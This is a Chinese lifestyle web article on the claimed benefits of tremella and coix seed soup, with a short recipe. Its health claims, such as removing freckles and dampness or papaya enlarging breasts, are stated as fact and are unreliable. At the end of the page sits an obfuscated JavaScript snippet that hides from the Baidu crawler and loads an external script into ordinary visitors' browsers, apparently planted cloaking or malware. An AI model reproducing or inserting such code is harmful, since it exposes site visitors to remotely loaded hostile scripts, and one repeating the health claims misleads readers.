當(dāng)前位置:首頁(yè) > 飲食 > 食物營(yíng)養(yǎng) > 正文

銀耳薏米羹的功效有哪些

2017-07-12 13:42:44  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):養(yǎng)顏美容的食品種類(lèi)繁多,每一樣都具有十分鮮明的特色,受到各色人等的喜愛(ài)。銀耳薏米羹是十分常見(jiàn)的一道美食,無(wú)論男女老少皆可放心的食用

養(yǎng)顏美容的食品種類(lèi)繁多,每一樣都具有十分鮮明的特色,受到各色人等的喜愛(ài)。銀耳薏米羹是十分常見(jiàn)的一道美食,無(wú)論男女老少皆可放心的食用。那么,銀耳薏米羹的功效又有哪些呢?讓我們一起來(lái)了解一下,然后再有針對(duì)性的進(jìn)行食用,就能夠達(dá)到較好的保健養(yǎng)生效果了。

能健脾去濕,最適合缺乏運(yùn)動(dòng)的上班族。很多人上班一坐就是一天,脾主管肌肉,久坐使氣機(jī)郁滯,就會(huì)影響脾的功能。身體也會(huì)產(chǎn)生濕氣,更覺(jué)的身體沉重,整個(gè)人懶懶的。這時(shí)候可以吃點(diǎn)薏米,就有利于去濕氣、健脾臟。甜羹里的蓮子能養(yǎng)心安神、提高睡眠質(zhì)量,銀耳潤(rùn)肺養(yǎng)顏,紅棗補(bǔ)氣益血,是一道可以經(jīng)常吃的滋補(bǔ)甜羹。

銀耳被稱(chēng)作平民版的燕窩。銀耳富含天然植物膠質(zhì),豐富的蛋白質(zhì)和多種礦物質(zhì)及膳食纖維,長(zhǎng)期食用可以潤(rùn)膚去皺緊膚,并有祛除臉部黃褐斑、雀斑的功效,其美容功效絲毫不遜于燕窩,還可滋陰潤(rùn)肺益氣清腸,且價(jià)格低廉,人人皆可享用。木瓜也是盡人皆知的養(yǎng)顏水果,常被用來(lái)做豐胸美顏的食物。木瓜還有非常好的健脾消食作用,可以調(diào)理腸胃,便食物的體內(nèi)的運(yùn)化運(yùn)行良好。再加上木瓜所含的豐富營(yíng)養(yǎng),常食可以促進(jìn)?人體新節(jié)代謝,具有抗衰老、美容護(hù)膚養(yǎng)顏的功效。薏米更是非常好的美白、健脾、去濕的佳品。

做法:

薏米、銀耳用冷水浸泡20分鐘,銀耳泡發(fā)后剪去根部,大塊的銀耳可以剪成小塊所有材料洗凈入鍋,加適量清水,武火煮沸后轉(zhuǎn)文火熬煮2小時(shí)左右至薏米開(kāi)花、銀耳軟糯為止。當(dāng)然也可以根據(jù)自己的口味掌握熬煮時(shí)間出鍋前加入適量冰糖或白糖調(diào)味。

關(guān)于銀耳薏米羹的功效以上文章進(jìn)行了較為細(xì)致的講解,我們可以根據(jù)自身的情況合理適量的食用,就能夠擁有十分出色的養(yǎng)生功效。除了銀耳薏米羹之外,許多以銀耳和薏米為主要原材料的粥、羹類(lèi)食物也具有極高的營(yíng)養(yǎng)價(jià)值。食物的神奇功效需要我們?cè)?a href="http://redwood-bank.com/sh/" target="_blank" class="keylink">生活中不斷的挖掘與發(fā)現(xiàn)。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}